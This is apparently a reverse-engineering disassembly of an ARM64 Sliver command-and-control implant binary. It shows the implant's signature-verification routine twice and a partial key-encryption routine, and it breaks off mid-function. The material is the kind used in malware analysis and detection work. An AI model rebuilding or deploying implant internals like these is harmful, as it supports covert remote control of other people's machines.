File sliver_83cb34f62800fed14e14547c39337aab8e0427fe2c6310a3fb40ce0ac36168c9.elf
Function:
Loading..
003dbd80
003dbd80github.com/bishopfox/sliver/implant/sliver/cryptography.MinisignVerify: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.MinisignVerify(struct []uint8 message, struct string signature)
003dbd80ldr x16, [x28+16]
003dbd84sub x17, sp, 1056
003dbd88subs xzr, x17, x16
003dbd8cb.ls 0x3dc2c0
003dbd90sub x20, sp, 1184
003dbd94stp x29, x30, [x20-8]
003dbd98add sp, x20, 0
003dbd9csub x29, sp, 8
003dbda0str x0, [sp+1192]
003dbda4str x1, [sp+1200]
003dbda8str x2, [sp+1208]
003dbdacstr x3, [sp+1216]
003dbdb0str x4, [sp+1224]
003dbdb4strb wzr, [sp+221]
003dbdb8add x27, sp, 1144
003dbdbcstp xzr, xzr, [x27]
003dbdc0adrp x27, 0x632000
003dbdc4ldr x0, [x27+2944]
003dbdc8adrp x27, 0x632000
003dbdccldr x1, [x27+2952]
003dbdd0bl github.com/bishopfox/sliver/implant/sliver/cryptography.DecodeMinisignPublicKey
003dbdd4ldp x2, x3, [sp+8]
003dbdd8ldp x4, x5, [sp+24]
003dbddcadd x27, sp, 309
003dbde0stp x2, x3, [x27]
003dbde4add x27, sp, 325
003dbde8stp x4, x5, [x27]
003dbdecadd x27, sp, 34
003dbdf0ldp x2, x3, [x27]
003dbdf4add x27, sp, 335
003dbdf8stp x2, x3, [x27]
003dbdfcstr x0, [sp+1144]
003dbe00str x1, [sp+1152]
003dbe04add x27, sp, 309
003dbe08ldp x2, x3, [x27]
003dbe0cadd x27, sp, 325
003dbe10ldp x4, x5, [x27]
003dbe14add x27, sp, 265
003dbe18stp x2, x3, [x27]
003dbe1cadd x27, sp, 281
003dbe20stp x4, x5, [x27]
003dbe24add x27, sp, 335
003dbe28ldp x2, x3, [x27]
003dbe2cadd x27, sp, 291
003dbe30stp x2, x3, [x27]
003dbe34ldr x2, [sp+1152]
003dbe38ldr x3, [sp+1144]
003dbe3cstr x3, [sp+736]
003dbe40str x2, [sp+744]
003dbe44add x27, sp, 265
003dbe48ldp x2, x3, [x27]
003dbe4cadd x27, sp, 281
003dbe50ldp x4, x5, [x27]
003dbe54add x27, sp, 223
003dbe58stp x2, x3, [x27]
003dbe5cadd x27, sp, 239
003dbe60stp x4, x5, [x27]
003dbe64add x27, sp, 291
003dbe68ldp x2, x3, [x27]
003dbe6cadd x27, sp, 249
003dbe70stp x2, x3, [x27]
003dbe74ldr x2, [sp+744]
003dbe78ldr x3, [sp+736]
003dbe7cstr x3, [sp+528]
003dbe80str x2, [sp+536]
003dbe84cbnz x3, 0x3dbe8c
003dbe88b 0x3dbf54
003dbe8c
003dbe8cloc_3dbe8c:
003dbe8cadd x27, sp, 1128
003dbe90stp xzr, xzr, [x27]
003dbe94add x5, sp, 1128
003dbe98str x5, [sp+920]
003dbe9cldr x5, [sp+528]
003dbea0ldr x6, [sp+536]
003dbea4str x5, [sp+904]
003dbea8str x6, [sp+912]
003dbeacstr x5, [sp+896]
003dbeb0ldr x5, [sp+896]
003dbeb4cbnz x5, 0x3dbebc
003dbeb8b 0x3dbecc
003dbebc
003dbebcloc_3dbebc:
003dbebcldr x5, [sp+896]
003dbec0ldr x5, [x5+8]
003dbec4str x5, [sp+896]
003dbec8b 0x3dbed0
003dbecc
003dbeccloc_3dbecc:
003dbeccb 0x3dbed0
003dbed0
003dbed0loc_3dbed0:
003dbed0ldr x5, [sp+920]
003dbed4ldrsb x27, [x5]
003dbed8ldr x6, [sp+912]
003dbedcldr x7, [sp+896]
003dbee0str x7, [x5]
003dbee4adrp x27, 0x670000
003dbee8ldr w7, [x27+3056]
003dbeeccbz w7, 0x3dbef4
003dbef0b 0x3dbef8
003dbef4
003dbef4loc_3dbef4:
003dbef4b 0x3dbf0c
003dbef8
003dbef8loc_3dbef8:
003dbef8bl runtime.gcWriteBarrier2
003dbefcstr x6, [x25]
003dbf00ldr x7, [x5+8]
003dbf04str x7, [x25+8]
003dbf08b 0x3dbf0c
003dbf0c
003dbf0cloc_3dbf0c:
003dbf0cstr x6, [x5+8]
003dbf10ldr x2, [sp+920]
003dbf14ldrsb x27, [x2]
003dbf18b 0x3dbf1c
003dbf1c
003dbf1cloc_3dbf1c:
003dbf1cstr x2, [sp+928]
003dbf20orr x4, xzr, 1
003dbf24str x4, [sp+936]
003dbf28str x4, [sp+944]
003dbf2cadrp x0, 0x2e9000
003dbf30add x0, x0, 1139
003dbf34movz x1, 40
003dbf38mov x3, x4
003dbf3cbl log.Printf
003dbf40strb wzr, [sp+221]
003dbf44mov x0, xzr
003dbf48ldp x29, x30, [sp-8]
003dbf4cadd sp, sp, 1184
003dbf50ret x30
003dbf54
003dbf54loc_3dbf54:
003dbf54add x20, sp, 952
003dbf58adr x27, 16
003dbf5cstp x29, x27, [sp-24]
003dbf60sub x29, sp, 24
003dbf64bl fn_87ce4
003dbf68sub x29, sp, 8
003dbf6cadd x27, sp, 1144
003dbf70stp xzr, xzr, [x27]
003dbf74ldr x0, [sp+1216]
003dbf78ldr x1, [sp+1224]
003dbf7cbl github.com/bishopfox/sliver/implant/sliver/cryptography.DecodeMinisignSignature
003dbf80add x21, sp, 952
003dbf84add x20, sp, 8
003dbf88adr x27, 16
003dbf8cstp x29, x27, [sp-24]
003dbf90sub x29, sp, 24
003dbf94bl fn_87ec8
003dbf98sub x29, sp, 8
003dbf9cstr x0, [sp+1144]
003dbfa0str x1, [sp+1152]
003dbfa4add x21, sp, 560
003dbfa8add x20, sp, 952
003dbfacadr x27, 16
003dbfb0stp x29, x27, [sp-24]
003dbfb4sub x29, sp, 24
003dbfb8bl fn_87ec8
003dbfbcsub x29, sp, 8
003dbfc0ldr x2, [sp+1144]
003dbfc4ldr x3, [sp+1152]
003dbfc8str x2, [sp+544]
003dbfccstr x3, [sp+552]
003dbfd0add x21, sp, 352
003dbfd4add x20, sp, 560
003dbfd8adr x27, 16
003dbfdcstp x29, x27, [sp-24]
003dbfe0sub x29, sp, 24
003dbfe4bl fn_87ec8
003dbfe8sub x29, sp, 8
003dbfecldr x2, [sp+552]
003dbff0ldr x3, [sp+544]
003dbff4str x3, [sp+528]
003dbff8str x2, [sp+536]
003dbffccbnz x3, 0x3dc004
003dc000b 0x3dc0cc
003dc004
003dc004loc_3dc004:
003dc004add x27, sp, 1128
003dc008stp xzr, xzr, [x27]
003dc00cadd x5, sp, 1128
003dc010str x5, [sp+864]
003dc014ldr x5, [sp+528]
003dc018ldr x6, [sp+536]
003dc01cstr x5, [sp+848]
003dc020str x6, [sp+856]
003dc024str x5, [sp+840]
003dc028ldr x5, [sp+840]
003dc02ccbnz x5, 0x3dc034
003dc030b 0x3dc044
003dc034
003dc034loc_3dc034:
003dc034ldr x5, [sp+840]
003dc038ldr x5, [x5+8]
003dc03cstr x5, [sp+840]
003dc040b 0x3dc048
003dc044
003dc044loc_3dc044:
003dc044b 0x3dc048
003dc048
003dc048loc_3dc048:
003dc048ldr x5, [sp+864]
003dc04cldrsb x27, [x5]
003dc050ldr x6, [sp+840]
003dc054ldr x7, [sp+856]
003dc058str x6, [x5]
003dc05cadrp x27, 0x66f000
003dc060ldr w6, [x27+3056]
003dc064cbz w6, 0x3dc06c
003dc068b 0x3dc070
003dc06c
003dc06cloc_3dc06c:
003dc06cb 0x3dc084
003dc070
003dc070loc_3dc070:
003dc070bl runtime.gcWriteBarrier2
003dc074str x7, [x25]
003dc078ldr x6, [x5+8]
003dc07cstr x6, [x25+8]
003dc080b 0x3dc084
003dc084
003dc084loc_3dc084:
003dc084str x7, [x5+8]
003dc088ldr x2, [sp+864]
003dc08cldrsb x27, [x2]
003dc090b 0x3dc094
003dc094
003dc094loc_3dc094:
003dc094str x2, [sp+872]
003dc098orr x4, xzr, 1
003dc09cstr x4, [sp+880]
003dc0a0str x4, [sp+888]
003dc0a4adrp x0, 0x2e7000
003dc0a8add x0, x0, 2236
003dc0acmovz x1, 39
003dc0b0mov x3, x4
003dc0b4bl log.Printf
003dc0b8strb wzr, [sp+221]
003dc0bcmov x0, xzr
003dc0c0ldp x29, x30, [sp-8]
003dc0c4add sp, sp, 1184
003dc0c8ret x30
003dc0cc
003dc0ccloc_3dc0cc:
003dc0ccadd x27, sp, 1144
003dc0d0stp xzr, xzr, [x27]
003dc0d4ldr x1, [sp+1192]
003dc0d8ldr x2, [sp+1200]
003dc0dcldr x3, [sp+1208]
003dc0e0add x21, sp, 8
003dc0e4add x20, sp, 352
003dc0e8adr x27, 16
003dc0ecstp x29, x27, [sp-24]
003dc0f0sub x29, sp, 24
003dc0f4bl fn_87ec8
003dc0f8sub x29, sp, 8
003dc0fcadd x0, sp, 223
003dc100bl github.com/bishopfox/sliver/implant/sliver/cryptography.(*PublicKey).Verify
003dc104strb w0, [sp+308]
003dc108str x1, [sp+1144]
003dc10cstr x2, [sp+1152]
003dc110ldrb w4, [sp+308]
003dc114strb w4, [sp+351]
003dc118ldr x4, [sp+1152]
003dc11cldr x5, [sp+1144]
003dc120str x5, [sp+1160]
003dc124str x4, [sp+1168]
003dc128ldrb w4, [sp+351]
003dc12cstrb w4, [sp+222]
003dc130ldr x4, [sp+1168]
003dc134ldr x5, [sp+1160]
003dc138str x5, [sp+528]
003dc13cstr x4, [sp+536]
003dc140cbnz x5, 0x3dc148
003dc144b 0x3dc210
003dc148
003dc148loc_3dc148:
003dc148add x27, sp, 1128
003dc14cstp xzr, xzr, [x27]
003dc150add x5, sp, 1128
003dc154str x5, [sp+808]
003dc158ldr x5, [sp+528]
003dc15cldr x6, [sp+536]
003dc160str x5, [sp+792]
003dc164str x6, [sp+800]
003dc168str x5, [sp+784]
003dc16cldr x5, [sp+784]
003dc170cbnz x5, 0x3dc178
003dc174b 0x3dc188
003dc178
003dc178loc_3dc178:
003dc178ldr x5, [sp+784]
003dc17cldr x5, [x5+8]
003dc180str x5, [sp+784]
003dc184b 0x3dc18c
003dc188
003dc188loc_3dc188:
003dc188b 0x3dc18c
003dc18c
003dc18cloc_3dc18c:
003dc18cldr x5, [sp+808]
003dc190ldrsb x27, [x5]
003dc194ldr x6, [sp+784]
003dc198ldr x7, [sp+800]
003dc19cstr x6, [x5]
003dc1a0adrp x27, 0x66f000
003dc1a4ldr w6, [x27+3056]
003dc1a8cbz w6, 0x3dc1b0
003dc1acb 0x3dc1b4
003dc1b0
003dc1b0loc_3dc1b0:
003dc1b0b 0x3dc1c8
003dc1b4
003dc1b4loc_3dc1b4:
003dc1b4bl runtime.gcWriteBarrier2
003dc1b8str x7, [x25]
003dc1bcldr x6, [x5+8]
003dc1c0str x6, [x25+8]
003dc1c4b 0x3dc1c8
003dc1c8
003dc1c8loc_3dc1c8:
003dc1c8str x7, [x5+8]
003dc1ccldr x2, [sp+808]
003dc1d0ldrsb x27, [x2]
003dc1d4b 0x3dc1d8
003dc1d8
003dc1d8loc_3dc1d8:
003dc1d8str x2, [sp+816]
003dc1dcorr x4, xzr, 1
003dc1e0str x4, [sp+824]
003dc1e4str x4, [sp+832]
003dc1e8adrp x0, 0x2e7000
003dc1ecadd x0, x0, 2275
003dc1f0movz x1, 39
003dc1f4mov x3, x4
003dc1f8bl log.Printf
003dc1fcstrb wzr, [sp+221]
003dc200mov x0, xzr
003dc204ldp x29, x30, [sp-8]
003dc208add sp, sp, 1184
003dc20cret x30
003dc210
003dc210loc_3dc210:
003dc210ldrb w5, [sp+222]
003dc214strb w5, [sp+308]
003dc218add x27, sp, 1128
003dc21cstp xzr, xzr, [x27]
003dc220add x5, sp, 1128
003dc224str x5, [sp+752]
003dc228ldrb w5, [sp+308]
003dc22cstrb w5, [sp+307]
003dc230ldr x6, [sp+752]
003dc234ldrsb x27, [x6]
003dc238adrp x7, 0x219000
003dc23cadd x7, x7, 3968
003dc240str x7, [x6]
003dc244ubfm x5, x5, 61, 7
003dc248adrp x7, 0x346000
003dc24cadd x7, x7, 640
003dc250add x5, x7, x5
003dc254adrp x27, 0x66f000
003dc258ldr w7, [x27+3056]
003dc25ccbz w7, 0x3dc264
003dc260b 0x3dc268
003dc264
003dc264loc_3dc264:
003dc264b 0x3dc278
003dc268
003dc268loc_3dc268:
003dc268ldr x7, [x6+8]
003dc26cbl runtime.gcWriteBarrier1
003dc270str x7, [x25]
003dc274b 0x3dc278
003dc278
003dc278loc_3dc278:
003dc278str x5, [x6+8]
003dc27cldr x2, [sp+752]
003dc280ldrsb x27, [x2]
003dc284b 0x3dc288
003dc288
003dc288loc_3dc288:
003dc288str x2, [sp+760]
003dc28corr x4, xzr, 1
003dc290str x4, [sp+768]
003dc294str x4, [sp+776]
003dc298adrp x0, 0x2e3000
003dc29cadd x0, x0, 1959
003dc2a0movz x1, 33
003dc2a4mov x3, x4
003dc2a8bl log.Printf
003dc2acldrb w0, [sp+222]
003dc2b0strb w0, [sp+221]
003dc2b4ldp x29, x30, [sp-8]
003dc2b8add sp, sp, 1184
003dc2bcret x30
003dc2c0
003dc2c0loc_3dc2c0:
003dc2c0stp x0, x1, [sp+8]
003dc2c4stp x2, x3, [sp+24]
003dc2c8str x4, [sp+40]
003dc2ccmov x3, x30
003dc2d0bl runtime.morestack_noctxt.abi0
003dc2d4ldp x0, x1, [sp+8]
003dc2d8ldp x2, x3, [sp+24]
003dc2dcldr x4, [sp+40]
003dc2e0b 0x3dbd80
003dc2e4udf 0
003dc2e8udf 0
003dc2ecudf 0
003dbd80
003dbd80github.com/bishopfox/sliver/implant/sliver/cryptography.MinisignVerify: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.MinisignVerify(struct []uint8 message, struct string signature)
003dbd80ldr x16, [x28+16]
003dbd84sub x17, sp, 1056
003dbd88subs xzr, x17, x16
003dbd8cb.ls 0x3dc2c0
003dbd90sub x20, sp, 1184
003dbd94stp x29, x30, [x20-8]
003dbd98add sp, x20, 0
003dbd9csub x29, sp, 8
003dbda0str x0, [sp+1192]
003dbda4str x1, [sp+1200]
003dbda8str x2, [sp+1208]
003dbdacstr x3, [sp+1216]
003dbdb0str x4, [sp+1224]
003dbdb4strb wzr, [sp+221]
003dbdb8add x27, sp, 1144
003dbdbcstp xzr, xzr, [x27]
003dbdc0adrp x27, 0x632000
003dbdc4ldr x0, [x27+2944]
003dbdc8adrp x27, 0x632000
003dbdccldr x1, [x27+2952]
003dbdd0bl github.com/bishopfox/sliver/implant/sliver/cryptography.DecodeMinisignPublicKey
003dbdd4ldp x2, x3, [sp+8]
003dbdd8ldp x4, x5, [sp+24]
003dbddcadd x27, sp, 309
003dbde0stp x2, x3, [x27]
003dbde4add x27, sp, 325
003dbde8stp x4, x5, [x27]
003dbdecadd x27, sp, 34
003dbdf0ldp x2, x3, [x27]
003dbdf4add x27, sp, 335
003dbdf8stp x2, x3, [x27]
003dbdfcstr x0, [sp+1144]
003dbe00str x1, [sp+1152]
003dbe04add x27, sp, 309
003dbe08ldp x2, x3, [x27]
003dbe0cadd x27, sp, 325
003dbe10ldp x4, x5, [x27]
003dbe14add x27, sp, 265
003dbe18stp x2, x3, [x27]
003dbe1cadd x27, sp, 281
003dbe20stp x4, x5, [x27]
003dbe24add x27, sp, 335
003dbe28ldp x2, x3, [x27]
003dbe2cadd x27, sp, 291
003dbe30stp x2, x3, [x27]
003dbe34ldr x2, [sp+1152]
003dbe38ldr x3, [sp+1144]
003dbe3cstr x3, [sp+736]
003dbe40str x2, [sp+744]
003dbe44add x27, sp, 265
003dbe48ldp x2, x3, [x27]
003dbe4cadd x27, sp, 281
003dbe50ldp x4, x5, [x27]
003dbe54add x27, sp, 223
003dbe58stp x2, x3, [x27]
003dbe5cadd x27, sp, 239
003dbe60stp x4, x5, [x27]
003dbe64add x27, sp, 291
003dbe68ldp x2, x3, [x27]
003dbe6cadd x27, sp, 249
003dbe70stp x2, x3, [x27]
003dbe74ldr x2, [sp+744]
003dbe78ldr x3, [sp+736]
003dbe7cstr x3, [sp+528]
003dbe80str x2, [sp+536]
003dbe84cbnz x3, 0x3dbe8c
003dbe88b 0x3dbf54
003dbe8c
003dbe8cloc_3dbe8c:
003dbe8cadd x27, sp, 1128
003dbe90stp xzr, xzr, [x27]
003dbe94add x5, sp, 1128
003dbe98str x5, [sp+920]
003dbe9cldr x5, [sp+528]
003dbea0ldr x6, [sp+536]
003dbea4str x5, [sp+904]
003dbea8str x6, [sp+912]
003dbeacstr x5, [sp+896]
003dbeb0ldr x5, [sp+896]
003dbeb4cbnz x5, 0x3dbebc
003dbeb8b 0x3dbecc
003dbebc
003dbebcloc_3dbebc:
003dbebcldr x5, [sp+896]
003dbec0ldr x5, [x5+8]
003dbec4str x5, [sp+896]
003dbec8b 0x3dbed0
003dbecc
003dbeccloc_3dbecc:
003dbeccb 0x3dbed0
003dbed0
003dbed0loc_3dbed0:
003dbed0ldr x5, [sp+920]
003dbed4ldrsb x27, [x5]
003dbed8ldr x6, [sp+912]
003dbedcldr x7, [sp+896]
003dbee0str x7, [x5]
003dbee4adrp x27, 0x670000
003dbee8ldr w7, [x27+3056]
003dbeeccbz w7, 0x3dbef4
003dbef0b 0x3dbef8
003dbef4
003dbef4loc_3dbef4:
003dbef4b 0x3dbf0c
003dbef8
003dbef8loc_3dbef8:
003dbef8bl runtime.gcWriteBarrier2
003dbefcstr x6, [x25]
003dbf00ldr x7, [x5+8]
003dbf04str x7, [x25+8]
003dbf08b 0x3dbf0c
003dbf0c
003dbf0cloc_3dbf0c:
003dbf0cstr x6, [x5+8]
003dbf10ldr x2, [sp+920]
003dbf14ldrsb x27, [x2]
003dbf18b 0x3dbf1c
003dbf1c
003dbf1cloc_3dbf1c:
003dbf1cstr x2, [sp+928]
003dbf20orr x4, xzr, 1
003dbf24str x4, [sp+936]
003dbf28str x4, [sp+944]
003dbf2cadrp x0, 0x2e9000
003dbf30add x0, x0, 1139
003dbf34movz x1, 40
003dbf38mov x3, x4
003dbf3cbl log.Printf
003dbf40strb wzr, [sp+221]
003dbf44mov x0, xzr
003dbf48ldp x29, x30, [sp-8]
003dbf4cadd sp, sp, 1184
003dbf50ret x30
003dbf54
003dbf54loc_3dbf54:
003dbf54add x20, sp, 952
003dbf58adr x27, 16
003dbf5cstp x29, x27, [sp-24]
003dbf60sub x29, sp, 24
003dbf64bl fn_87ce4
003dbf68sub x29, sp, 8
003dbf6cadd x27, sp, 1144
003dbf70stp xzr, xzr, [x27]
003dbf74ldr x0, [sp+1216]
003dbf78ldr x1, [sp+1224]
003dbf7cbl github.com/bishopfox/sliver/implant/sliver/cryptography.DecodeMinisignSignature
003dbf80add x21, sp, 952
003dbf84add x20, sp, 8
003dbf88adr x27, 16
003dbf8cstp x29, x27, [sp-24]
003dbf90sub x29, sp, 24
003dbf94bl fn_87ec8
003dbf98sub x29, sp, 8
003dbf9cstr x0, [sp+1144]
003dbfa0str x1, [sp+1152]
003dbfa4add x21, sp, 560
003dbfa8add x20, sp, 952
003dbfacadr x27, 16
003dbfb0stp x29, x27, [sp-24]
003dbfb4sub x29, sp, 24
003dbfb8bl fn_87ec8
003dbfbcsub x29, sp, 8
003dbfc0ldr x2, [sp+1144]
003dbfc4ldr x3, [sp+1152]
003dbfc8str x2, [sp+544]
003dbfccstr x3, [sp+552]
003dbfd0add x21, sp, 352
003dbfd4add x20, sp, 560
003dbfd8adr x27, 16
003dbfdcstp x29, x27, [sp-24]
003dbfe0sub x29, sp, 24
003dbfe4bl fn_87ec8
003dbfe8sub x29, sp, 8
003dbfecldr x2, [sp+552]
003dbff0ldr x3, [sp+544]
003dbff4str x3, [sp+528]
003dbff8str x2, [sp+536]
003dbffccbnz x3, 0x3dc004
003dc000b 0x3dc0cc
003dc004
003dc004loc_3dc004:
003dc004add x27, sp, 1128
003dc008stp xzr, xzr, [x27]
003dc00cadd x5, sp, 1128
003dc010str x5, [sp+864]
003dc014ldr x5, [sp+528]
003dc018ldr x6, [sp+536]
003dc01cstr x5, [sp+848]
003dc020str x6, [sp+856]
003dc024str x5, [sp+840]
003dc028ldr x5, [sp+840]
003dc02ccbnz x5, 0x3dc034
003dc030b 0x3dc044
003dc034
003dc034loc_3dc034:
003dc034ldr x5, [sp+840]
003dc038ldr x5, [x5+8]
003dc03cstr x5, [sp+840]
003dc040b 0x3dc048
003dc044
003dc044loc_3dc044:
003dc044b 0x3dc048
003dc048
003dc048loc_3dc048:
003dc048ldr x5, [sp+864]
003dc04cldrsb x27, [x5]
003dc050ldr x6, [sp+840]
003dc054ldr x7, [sp+856]
003dc058str x6, [x5]
003dc05cadrp x27, 0x66f000
003dc060ldr w6, [x27+3056]
003dc064cbz w6, 0x3dc06c
003dc068b 0x3dc070
003dc06c
003dc06cloc_3dc06c:
003dc06cb 0x3dc084
003dc070
003dc070loc_3dc070:
003dc070bl runtime.gcWriteBarrier2
003dc074str x7, [x25]
003dc078ldr x6, [x5+8]
003dc07cstr x6, [x25+8]
003dc080b 0x3dc084
003dc084
003dc084loc_3dc084:
003dc084str x7, [x5+8]
003dc088ldr x2, [sp+864]
003dc08cldrsb x27, [x2]
003dc090b 0x3dc094
003dc094
003dc094loc_3dc094:
003dc094str x2, [sp+872]
003dc098orr x4, xzr, 1
003dc09cstr x4, [sp+880]
003dc0a0str x4, [sp+888]
003dc0a4adrp x0, 0x2e7000
003dc0a8add x0, x0, 2236
003dc0acmovz x1, 39
003dc0b0mov x3, x4
003dc0b4bl log.Printf
003dc0b8strb wzr, [sp+221]
003dc0bcmov x0, xzr
003dc0c0ldp x29, x30, [sp-8]
003dc0c4add sp, sp, 1184
003dc0c8ret x30
003dc0cc
003dc0ccloc_3dc0cc:
003dc0ccadd x27, sp, 1144
003dc0d0stp xzr, xzr, [x27]
003dc0d4ldr x1, [sp+1192]
003dc0d8ldr x2, [sp+1200]
003dc0dcldr x3, [sp+1208]
003dc0e0add x21, sp, 8
003dc0e4add x20, sp, 352
003dc0e8adr x27, 16
003dc0ecstp x29, x27, [sp-24]
003dc0f0sub x29, sp, 24
003dc0f4bl fn_87ec8
003dc0f8sub x29, sp, 8
003dc0fcadd x0, sp, 223
003dc100bl github.com/bishopfox/sliver/implant/sliver/cryptography.(*PublicKey).Verify
003dc104strb w0, [sp+308]
003dc108str x1, [sp+1144]
003dc10cstr x2, [sp+1152]
003dc110ldrb w4, [sp+308]
003dc114strb w4, [sp+351]
003dc118ldr x4, [sp+1152]
003dc11cldr x5, [sp+1144]
003dc120str x5, [sp+1160]
003dc124str x4, [sp+1168]
003dc128ldrb w4, [sp+351]
003dc12cstrb w4, [sp+222]
003dc130ldr x4, [sp+1168]
003dc134ldr x5, [sp+1160]
003dc138str x5, [sp+528]
003dc13cstr x4, [sp+536]
003dc140cbnz x5, 0x3dc148
003dc144b 0x3dc210
003dc148
003dc148loc_3dc148:
003dc148add x27, sp, 1128
003dc14cstp xzr, xzr, [x27]
003dc150add x5, sp, 1128
003dc154str x5, [sp+808]
003dc158ldr x5, [sp+528]
003dc15cldr x6, [sp+536]
003dc160str x5, [sp+792]
003dc164str x6, [sp+800]
003dc168str x5, [sp+784]
003dc16cldr x5, [sp+784]
003dc170cbnz x5, 0x3dc178
003dc174b 0x3dc188
003dc178
003dc178loc_3dc178:
003dc178ldr x5, [sp+784]
003dc17cldr x5, [x5+8]
003dc180str x5, [sp+784]
003dc184b 0x3dc18c
003dc188
003dc188loc_3dc188:
003dc188b 0x3dc18c
003dc18c
003dc18cloc_3dc18c:
003dc18cldr x5, [sp+808]
003dc190ldrsb x27, [x5]
003dc194ldr x6, [sp+784]
003dc198ldr x7, [sp+800]
003dc19cstr x6, [x5]
003dc1a0adrp x27, 0x66f000
003dc1a4ldr w6, [x27+3056]
003dc1a8cbz w6, 0x3dc1b0
003dc1acb 0x3dc1b4
003dc1b0
003dc1b0loc_3dc1b0:
003dc1b0b 0x3dc1c8
003dc1b4
003dc1b4loc_3dc1b4:
003dc1b4bl runtime.gcWriteBarrier2
003dc1b8str x7, [x25]
003dc1bcldr x6, [x5+8]
003dc1c0str x6, [x25+8]
003dc1c4b 0x3dc1c8
003dc1c8
003dc1c8loc_3dc1c8:
003dc1c8str x7, [x5+8]
003dc1ccldr x2, [sp+808]
003dc1d0ldrsb x27, [x2]
003dc1d4b 0x3dc1d8
003dc1d8
003dc1d8loc_3dc1d8:
003dc1d8str x2, [sp+816]
003dc1dcorr x4, xzr, 1
003dc1e0str x4, [sp+824]
003dc1e4str x4, [sp+832]
003dc1e8adrp x0, 0x2e7000
003dc1ecadd x0, x0, 2275
003dc1f0movz x1, 39
003dc1f4mov x3, x4
003dc1f8bl log.Printf
003dc1fcstrb wzr, [sp+221]
003dc200mov x0, xzr
003dc204ldp x29, x30, [sp-8]
003dc208add sp, sp, 1184
003dc20cret x30
003dc210
003dc210loc_3dc210:
003dc210ldrb w5, [sp+222]
003dc214strb w5, [sp+308]
003dc218add x27, sp, 1128
003dc21cstp xzr, xzr, [x27]
003dc220add x5, sp, 1128
003dc224str x5, [sp+752]
003dc228ldrb w5, [sp+308]
003dc22cstrb w5, [sp+307]
003dc230ldr x6, [sp+752]
003dc234ldrsb x27, [x6]
003dc238adrp x7, 0x219000
003dc23cadd x7, x7, 3968
003dc240str x7, [x6]
003dc244ubfm x5, x5, 61, 7
003dc248adrp x7, 0x346000
003dc24cadd x7, x7, 640
003dc250add x5, x7, x5
003dc254adrp x27, 0x66f000
003dc258ldr w7, [x27+3056]
003dc25ccbz w7, 0x3dc264
003dc260b 0x3dc268
003dc264
003dc264loc_3dc264:
003dc264b 0x3dc278
003dc268
003dc268loc_3dc268:
003dc268ldr x7, [x6+8]
003dc26cbl runtime.gcWriteBarrier1
003dc270str x7, [x25]
003dc274b 0x3dc278
003dc278
003dc278loc_3dc278:
003dc278str x5, [x6+8]
003dc27cldr x2, [sp+752]
003dc280ldrsb x27, [x2]
003dc284b 0x3dc288
003dc288
003dc288loc_3dc288:
003dc288str x2, [sp+760]
003dc28corr x4, xzr, 1
003dc290str x4, [sp+768]
003dc294str x4, [sp+776]
003dc298adrp x0, 0x2e3000
003dc29cadd x0, x0, 1959
003dc2a0movz x1, 33
003dc2a4mov x3, x4
003dc2a8bl log.Printf
003dc2acldrb w0, [sp+222]
003dc2b0strb w0, [sp+221]
003dc2b4ldp x29, x30, [sp-8]
003dc2b8add sp, sp, 1184
003dc2bcret x30
003dc2c0
003dc2c0loc_3dc2c0:
003dc2c0stp x0, x1, [sp+8]
003dc2c4stp x2, x3, [sp+24]
003dc2c8str x4, [sp+40]
003dc2ccmov x3, x30
003dc2d0bl runtime.morestack_noctxt.abi0
003dc2d4ldp x0, x1, [sp+8]
003dc2d8ldp x2, x3, [sp+24]
003dc2dcldr x4, [sp+40]
003dc2e0b 0x3dbd80
003dc2e4udf 0
003dc2e8udf 0
003dc2ecudf 0
003dbd80
003dc2f0
003dc2f0github.com/bishopfox/sliver/implant/sliver/cryptography.AgeEncryptToPeer: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.AgeEncryptToPeer(struct []uint8 recipientPublicKey, struct string recipientPublicKeySig, struct []uint8 plaintext)
003dc2f0ldr x16, [x28+16]
003dc2f4sub x17, sp, 112
003dc2f8subs xzr, x17, x16
003dc2fcb.ls 0x3dc4a0
003dc300str x30, [sp-240]!
003dc304stur x29, [sp-8]
003dc308sub x29, sp, 8
003dc30cstr x0, [sp+248]
003dc310str x1, [sp+256]
003dc314str x2, [sp+264]
003dc318str x3, [sp+272]
003dc31cstr x4, [sp+280]
003dc320str x5, [sp+288]
003dc324str x6, [sp+296]
003dc328str x7, [sp+304]
003dc32cstr xzr, [sp+72]
003dc330stp xzr, xzr, [sp+80]
003dc334stp xzr, xzr, [sp+56]
003dc338ldr x0, [sp+248]
003dc33cldr x3, [sp+272]
003dc340ldr x1, [sp+256]
003dc344ldr x4, [sp+280]
003dc348ldr x2, [sp+264]
003dc34cbl github.com/bishopfox/sliver/implant/sliver/cryptography.MinisignVerify
003dc350strb w0, [sp+55]
003dc354tbnz w0, 0, 0x3dc35c
003dc358b 0x3dc468
003dc35c
003dc35cloc_3dc35c:
003dc35cstr xzr, [sp+208]
003dc360stp xzr, xzr, [sp+216]
003dc364stp xzr, xzr, [sp+192]
003dc368ldr x1, [sp+248]
003dc36cldr x2, [sp+256]
003dc370mov x0, xzr
003dc374bl runtime.slicebytetostring
003dc378str x0, [sp+176]
003dc37cstr x1, [sp+184]
003dc380ldr x2, [sp+288]
003dc384ldr x3, [sp+296]
003dc388ldr x4, [sp+304]
003dc38cbl github.com/bishopfox/sliver/implant/sliver/cryptography.AgeEncrypt
003dc390str x0, [sp+208]
003dc394str x1, [sp+216]
003dc398str x2, [sp+224]
003dc39cstr x3, [sp+192]
003dc3a0str x4, [sp+200]
003dc3a4ldr x3, [sp+208]
003dc3a8ldr x4, [sp+216]
003dc3acldr x5, [sp+224]
003dc3b0str x3, [sp+152]
003dc3b4str x4, [sp+160]
003dc3b8str x5, [sp+168]
003dc3bcldr x3, [sp+192]
003dc3c0ldr x4, [sp+200]
003dc3c4str x3, [sp+136]
003dc3c8str x4, [sp+144]
003dc3ccldr x3, [sp+152]
003dc3d0ldr x4, [sp+160]
003dc3d4ldr x5, [sp+168]
003dc3d8str x3, [sp+112]
003dc3dcstr x4, [sp+120]
003dc3e0str x5, [sp+128]
003dc3e4ldr x3, [sp+144]
003dc3e8ldr x4, [sp+136]
003dc3ecstr x4, [sp+96]
003dc3f0str x3, [sp+104]
003dc3f4cbnz x4, 0x3dc3fc
003dc3f8b 0x3dc42c
003dc3fc
003dc3fcloc_3dc3fc:
003dc3fcstr xzr, [sp+72]
003dc400stp xzr, xzr, [sp+80]
003dc404ldr x3, [sp+96]
003dc408ldr x4, [sp+104]
003dc40cstr x3, [sp+56]
003dc410str x4, [sp+64]
